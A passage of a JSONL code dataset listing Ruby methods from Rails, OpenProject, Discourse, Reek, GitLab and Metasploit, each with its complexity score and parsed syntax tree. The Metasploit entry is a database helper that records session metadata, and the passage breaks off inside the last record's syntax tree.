{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":67,"raw_source":"def test_deep_transform_keys!\n    assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n    assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n    assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }\n  end","complexity_score":45.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_transform_keys!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_symbols\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_strings\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_mixed\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@string_array_of_hashes\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbol_array_of_hashes\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mixed_array_of_hashes\"]},\"deep_dup\"]},\"deep_transform_keys!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]}]}]}","id":"83ecef0c-b463-4dcc-9553-13328600a9c9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/app/controllers/webhooks/outgoing/admin_controller.rb","start_line":47,"raw_source":"def destroy\n        if @webhook.destroy\n          flash[:notice] = I18n.t(:notice_successful_delete)\n        else\n          flash[:error] = I18n.t(:error_failed_to_delete_entry)\n        end\n\n        redirect_to action: :index, status: :see_other\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webhook\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_delete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_failed_to_delete_entry\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"789fddd2-2ca4-45b9-b430-a9aafb10e7e8"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/jobs/pull_hotlinked_images_spec.rb","start_line":679,"raw_source":"def stub_s3(upload)\n    stub_upload(upload)\n    stub_request(:get, \"https:\" + upload.url).to_return(\n      status: 200,\n      body: file_from_fixtures(\"smallest.png\"),\n    )\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_s3\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"https:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"file_from_fixtures\",{\"type\":\"str\",\"children\":[\"smallest.png\"]}]}]}]}]}]}]}","id":"2f42236c-4534-4ea1-9972-fee36346829f"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/report/yaml_report.rb","start_line":14,"raw_source":"def show(out = $stdout)\n        out.print smells.map(&:yaml_hash).to_yaml\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"out\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smells\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_hash\"]}]}]},\"to_yaml\"]}]}]}","id":"7f8663aa-9709-4956-b284-b70477518d91"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":496,"raw_source":"def block_textile_table( text ) \n        text.gsub!( TABLE_RE ) do |matches|\n\n            tatts, fullrow = $~[1..2]\n            tatts = pba( tatts, 'table' )\n            tatts = shelve( tatts ) if tatts\n            rows = []\n\n            fullrow.\n            split( /\\|$/m ).\n            delete_if { |x| x.empty? }.\n            each do |row|\n\n                ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\\. )(.*)/m\n                \n                cells = []\n                row.split( '|' ).each do |cell|\n                    ctyp = 'd'\n                    ctyp = 'h' if cell =~ /^_/\n\n                    catts = ''\n                    catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\\. ?)(.*)/\n\n                    unless cell.strip.empty?\n                        catts = shelve( catts ) if catts\n                        cells << \"\\t\\t\\t<t#{ ctyp }#{ catts }>#{ cell }</t#{ ctyp }>\" \n                    end\n                end\n                ratts = shelve( ratts ) if ratts\n                rows << \"\\t\\t<tr#{ ratts }>\\n#{ cells.join( \"\\n\" ) }\\n\\t\\t</tr>\"\n            end\n            \"\\t<table#{ tatts }>\\n#{ rows.join( \"\\n\" ) }\\n\\t</table>\\n\\n\"\n        end\n    end","complexity_score":71.6,"ast_json":"{\"type\":\"def\",\"children\":[\"block_textile_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"TABLE_RE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matches\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tatts\"]},{\"type\":\"lvasgn\",\"children\":[\"fullrow\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$~\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tatts\",{\"type\":\"send\",\"children\":[null,\"pba\",{\"type\":\"lvar\",\"children\":[\"tatts\"]},{\"type\":\"str\",\"children\":[\"table\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tatts\"]},{\"type\":\"lvasgn\",\"children\":[\"tatts\",{\"type\":\"send\",\"children\":[null,\"shelve\",{\"type\":\"lvar\",\"children\":[\"tatts\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullrow\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\|$\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"empty?\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"A\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"C\"]}]},{\"type\":\"str\",\"children\":[\"\\\\. )(.*)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ratts\"]},{\"type\":\"lvasgn\",\"children\":[\"row\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pba\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"tr\"]}]},{\"type\":\"nth_ref\",\"children\":[2]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cells\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cell\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctyp\",{\"type\":\"str\",\"children\":[\"d\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^_\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ctyp\",{\"type\":\"str\",\"children\":[\"h\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"catts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(_?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"A\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"C\"]}]},{\"type\":\"str\",\"children\":[\"\\\\. ?)(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catts\"]},{\"type\":\"lvasgn\",\"children\":[\"cell\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pba\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"td\"]}]},{\"type\":\"nth_ref\",\"children\":[2]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]},\"strip\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catts\"]},{\"type\":\"lvasgn\",\"children\":[\"catts\",{\"type\":\"send\",\"children\":[null,\"shelve\",{\"type\":\"lvar\",\"children\":[\"catts\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cells\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\t\\t<t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctyp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catts\"]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cell\"]}]},{\"type\":\"str\",\"children\":[\"</t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctyp\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ratts\"]},{\"type\":\"lvasgn\",\"children\":[\"ratts\",{\"type\":\"send\",\"children\":[null,\"shelve\",{\"type\":\"lvar\",\"children\":[\"ratts\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\t<tr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ratts\"]}]},{\"type\":\"str\",\"children\":[\">\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cells\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\t\\t</tr>\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t<table\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tatts\"]}]},{\"type\":\"str\",\"children\":[\">\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\t</table>\\n\\n\"]}]}]}]}]}","id":"b7986f33-1358-4948-91ef-5d4af81b4ecd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/events/cross_referenced.rb","start_line":8,"raw_source":"def execute(issue_event)\n            mentioned_in_record_class = mentioned_in_type(issue_event)\n            mentioned_in_number = issue_event.source.dig(:issue, :number)\n            mentioned_in_record = init_mentioned_in(\n              mentioned_in_record_class, mentioned_in_number\n            )\n            return if mentioned_in_record.nil?\n\n            user_id = author_id(issue_event)\n            note_body = cross_reference_note_content(mentioned_in_record.gfm_reference(project))\n\n            note = create_note(issue_event, note_body, user_id)\n\n            track_activity(mentioned_in_record_class, note.author)\n          end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mentioned_in_record_class\",{\"type\":\"send\",\"children\":[null,\"mentioned_in_type\",{\"type\":\"lvar\",\"children\":[\"issue_event\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mentioned_in_number\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_event\"]},\"source\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"sym\",\"children\":[\"number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mentioned_in_record\",{\"type\":\"send\",\"children\":[null,\"init_mentioned_in\",{\"type\":\"lvar\",\"children\":[\"mentioned_in_record_class\"]},{\"type\":\"lvar\",\"children\":[\"mentioned_in_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentioned_in_record\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"author_id\",{\"type\":\"lvar\",\"children\":[\"issue_event\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note_body\",{\"type\":\"send\",\"children\":[null,\"cross_reference_note_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentioned_in_record\"]},\"gfm_reference\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"lvar\",\"children\":[\"issue_event\"]},{\"type\":\"lvar\",\"children\":[\"note_body\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"track_activity\",{\"type\":\"lvar\",\"children\":[\"mentioned_in_record_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"author\"]}]}]}]}","id":"78dea512-4f15-4e9d-9d55-17e015f471d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/repositories_controller.rb","start_line":7,"raw_source":"def search\n      repositories = available_repositories.by_name(search_query).page(query_params[:page]).per(query_params[:limit])\n      render json: { containers: RepositoryEntity.represent(repositories).as_json }\n    end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repositories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_repositories\"]},\"by_name\",{\"type\":\"send\",\"children\":[null,\"search_query\"]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"containers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RepositoryEntity\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"repositories\"]}]},\"as_json\"]}]}]}]}]}]}]}]}","id":"194cb2a3-b78d-4e48-87cb-a26e0e0cc13a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/po_linter.rb","start_line":262,"raw_source":"def calculate_numbers_covering_all_plurals\n        required_numbers = []\n        discovered_indexes = []\n        counter = 0\n\n        while discovered_indexes.size < metadata_entry.forms_to_test && counter < Gitlab::I18n::MetadataEntry::MAX_FORMS_TO_TEST\n          index_for_count = index_for_pluralization(counter)\n\n          unless discovered_indexes.include?(index_for_count)\n            discovered_indexes << index_for_count\n            required_numbers << counter\n          end\n\n          counter += 1\n        end\n\n        required_numbers\n      end","complexity_score":22.25,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_numbers_covering_all_plurals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"required_numbers\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"discovered_indexes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discovered_indexes\"]},\"size\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata_entry\"]},\"forms_to_test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"I18n\"]},\"MetadataEntry\"]},\"MAX_FORMS_TO_TEST\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_for_count\",{\"type\":\"send\",\"children\":[null,\"index_for_pluralization\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discovered_indexes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"index_for_count\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discovered_indexes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"index_for_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_numbers\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"required_numbers\"]}]}]}","id":"8516b009-54ff-4588-b271-f9b89674e3d0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/session.rb","start_line":327,"raw_source":"def create_mdm_session_from_host(opts)\n    ::ApplicationRecord.connection_pool.with_connection {\n      host = opts[:host]\n      raise ArgumentError.new(\"Invalid :host, expected Host object\") unless host.kind_of? ::Mdm::Host\n      sess_data = {\n        host_id: host.id,\n        stype: opts[:stype],\n        desc: opts[:desc],\n        platform: opts[:platform],\n        via_payload: opts[:via_payload],\n        via_exploit: opts[:via_exploit],\n        routes: opts[:routes] || [],\n        datastore: opts[:datastore],\n        opened_at: opts[:opened_at],\n        closed_at: opts[:closed_at],\n        last_seen: opts[:last_seen] || opts[:closed_at],\n        close_reason: opts[:close_reason],\n      }\n\n\n      s = ::Mdm::Session.create!(sess_data)\n      s\n    }\n  end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_mdm_session_from_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Invalid :host, expected Host object\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sess_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stype\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"desc\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via_payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"via_payload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via_exploit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"via_exploit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"routes\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"routes\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datastore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"datastore\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opened_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"